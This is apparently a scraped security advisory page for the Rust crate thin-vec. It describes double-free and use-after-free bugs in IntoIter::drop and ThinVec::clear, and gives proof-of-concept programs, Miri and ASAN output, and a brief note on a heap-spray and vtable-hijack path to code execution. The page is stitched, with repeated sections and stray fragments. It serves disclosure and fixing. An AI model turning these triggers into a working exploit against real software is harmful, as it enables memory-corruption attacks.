    let _ = panic::catch_unwind(panic::AssertUnwindSafe(|| {
        v.clear();
        // panic occurs at "panic" element during clear()
        // → set_len(0) is never called
        // → already-freed elements are re-freed when v goes out of scope
    }));
}

Impact

Vulnerability classification:

CWE-415: Double Free
CWE-416: Use-After-Free

Affected code: All code satisfying the following conditions simultaneously:

ThinVec stores heap-owning types (String, Vec, Box, etc.)
(Vulnerability 1) An iterator is created via into_iter() and dropped before being fully consumed, or (Vulnerability 2) clear() is called while a remaining element's Drop implementation can panic
The Drop implementation of a remaining element triggers a panic

Additionally, when combined with Box<dyn Trait> types, an exploit primitive enabling Arbitrary Code Execution (ACE) via heap spray and vtable hijacking has been confirmed. If the freed fat pointer slot (16 bytes) at the point of Double Drop is reclaimed by an attacker-controlled fake vtable, subsequent Drop calls can be redirected to attacker-controlled code.

Fixed in


          0.2.16

References

Updated Sep 10, 2026 · Source: OSV.dev

Aug 13, 2020

0.1.0 unknown

1 CVE

CVE-2026-6654 GHSA-xphw-cqx3-667j RUSTSEC-2026-0103 Apr 15, 2026

thin-vec: Use-After-Free and Double Free in IntoIter::drop When Element Drop Panics

7.3 / 10

High

Local Low None None Unchanged Low Low High

Summary

A Double Free / Use-After-Free (UAF) vulnerability has been identified in the IntoIter::drop and ThinVec::clear implementations of the thin_vec crate. Both vulnerabilities share the same root cause and can trigger memory corruption using only safe Rust code — no unsafe blocks required. Undefined Behavior has been confirmed via Miri and AddressSanitizer (ASAN).

Details

Both vulnerabilities share the same root cause. When a panic occurs during sequential element deallocation, the subsequent length cleanup code (set_len(0)) is never executed. During stack unwinding, the container is dropped again, causing already-freed memory to be re-freed (Double Free / UAF).

Vulnerability 1 — `IntoIter::drop`

Location: thin-vec/src/lib.rs L.2308~2314

IntoIter::drop transfers ownership of the internal buffer via mem::replace, then sequentially frees elements via ptr::drop_in_place. If a panic occurs during element deallocation, set_len_non_singleton(0) is never reached. During unwinding, vec is dropped again, re-freeing already-freed elements. The standard library's std::vec::IntoIter prevents this with a DropGuard pattern, but thin-vec lacks this defense.

// Problematic structure (conceptual representation)
impl<T> Drop for IntoIter<T> {
    fn drop(&mut self) {
        let mut vec = mem::replace(&mut self.vec, ThinVec::new());
        unsafe {
            ptr::drop_in_place(vec.remaining_slice_mut()); // ← panic may occur here
            vec.set_len_non_singleton(0);                  // ← unreachable on panic
        }
        // During unwinding, vec is dropped again → Double Free
    }
}

Vulnerability 2 — `ThinVec::clear`

clear() calls ptr::drop_in_place(&mut self[..]) followed by self.set_len(0) to reset the length. If a panic occurs during element deallocation, set_len(0) is never executed. When the ThinVec itself is subsequently dropped, already-freed elements are freed again.

// Problematic structure (conceptual representation)
pub fn clear(&mut self) {
    unsafe {
        ptr::drop_in_place(&mut self[..]); // ← panic may occur here
        self.set_len(0);                   // ← unreachable on panic
    }
    // ThinVec drop later → Double Free
}

Recommended Fix

Both vulnerabilities can be resolved with the same pattern:

DropGuard pattern: Insert an RAII guard before drop_in_place to guarantee set_len(0) is called regardless of panic
Pre-zeroing approach: Set the length to 0 before calling drop_in_place

PoC

Requirements: Rust nightly toolchain, thin-vec = "0.2.14"

# Miri
cargo +nightly miri run

# ASAN
RUSTFLAGS="-Z sanitizer=address" cargo +nightly run --release

PoC-1: `IntoIter::drop`

use thin_vec::ThinVec;

struct PanicBomb(String);

impl Drop for PanicBomb {
    fn drop(&mut self) {
        if self.0 == "panic" {
            panic!("panic!");
        }
        println!("Dropping: {}", self.0);
    }
}

fn main() {
    let mut v = ThinVec::new();
    v.push(PanicBomb(String::from("normal1")));
    v.push(PanicBomb(String::from("panic")));  // trigger element
    v.push(PanicBomb(String::from("normal2")));

    let mut iter = v.into_iter();
    iter.next();
    // When iter is dropped: panic occurs at "panic" element
    // → During unwinding, Double Drop is triggered on "normal1" (already freed)
}

Miri output:

error: Undefined Behavior: pointer not dereferenceable:
       alloc227 has been freed, so this pointer is dangling

stack backtrace:
   3: <PanicBomb as Drop>::drop           ← Double Drop entry
   6: <ThinVec<T> as Drop>::drop::drop_non_singleton
   9: <IntoIter<T> as Drop>::drop::drop_non_singleton  ← lib.rs:2310 (root cause)

ASAN output:

==66150==ERROR: AddressSanitizer: heap-use-after-free on address 0x7afa685e0010
READ of size 7 at 0x7afa685e0010
    #0 memcpy
    #4 drop_in_place::<PanicBomb>        ← Double Drop entry point
    #5 <ThinVec as Drop>::drop::drop_non_singleton
    #6 <IntoIter as Drop>::drop::drop_non_singleton

PoC-2: `ThinVec::clear`

use thin_vec::ThinVec;
use std::panic;

struct Poison(Box<usize>, &'static str);

impl Drop for Poison {
    fn drop(&mut self) {
        if self.1 == "panic" {
            panic!("panic!");
        }
        println!("Dropping: {}", self.0);
    }
}

fn main() {
    let mut v = ThinVec::new();
    v.push(Poison(Box::new(1), "normal1")); // index 0
    v.push(Poison(Box::new(2), "panic"));   // index 1 → panic triggered here
    v.push(Poison(Box::new(3), "normal2")); // index 2

    let _ = panic::catch_unwind(panic::AssertUnwindSafe(|| {
        v.clear();
        // panic occurs at "panic" element during clear()
        // → set_len(0) is never called
        // → already-freed elements are re-freed when v goes out of scope
    }));
}

Impact

Vulnerability classification:

CWE-415: Double Free
CWE-416: Use-After-Free

Affected code: All code satisfying the following conditions simultaneously:

ThinVec stores heap-owning types (String, Vec, Box, etc.)
(Vulnerability 1) An iterator is created via into_iter() and dropped before being fully consumed, or (Vulnerability 2) clear() is called while a remaining element's Drop implementation can panic
The Drop implementation of a remaining element triggers a panic

Additionally, when combined with Box<dyn Trait> types, an exploit primitive enabling Arbitrary Code Execution (ACE) via heap spray and vtable hijacking has been confirmed. If the freed fat pointer slot (16 bytes) at the point of Double Drop is reclaimed by an attacker-controlled fake vtable, subsequent Drop calls can be redirected to attacker-controlled code.

Fixed in


          0.2.16

References

Updated Sep 10, 2026 · Source: OSV.dev

May 15, 2018

Activity

Reach

Details